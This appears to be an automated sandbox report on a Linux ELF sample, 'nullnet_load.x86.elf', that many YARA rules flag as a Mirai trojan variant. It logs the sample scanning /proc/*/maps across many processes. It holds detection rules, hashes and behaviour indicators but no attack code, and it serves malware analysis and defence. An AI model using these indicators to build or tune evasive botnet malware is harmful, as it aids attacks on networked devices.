Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: nullnet_load.x86.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal84.troj.linELF@0/0@1/0

Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3122/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3117/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3114/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/914/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/518/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/519/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/917/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3134/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3132/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3095/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1745/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1866/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1588/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/884/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1982/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/765/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/767/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1906/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/802/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/803/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1748/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1482/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/490/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1480/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1755/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1238/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1875/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1751/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1872/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/2961/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1475/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/656/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/778/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/659/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/418/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/936/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/816/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1879/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1891/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3153/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/780/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/660/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1921/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/783/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1765/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/2974/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1400/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1884/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/2972/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3147/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/2970/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1881/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3146/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1805/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1925/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1804/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1648/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/1922/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3165/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3164/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3163/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/3162/maps	Jump to behavior
Source: /tmp/nullnet_load.x86.elf (PID: 5455)	File opened: /proc/790/maps	Jump to behavior
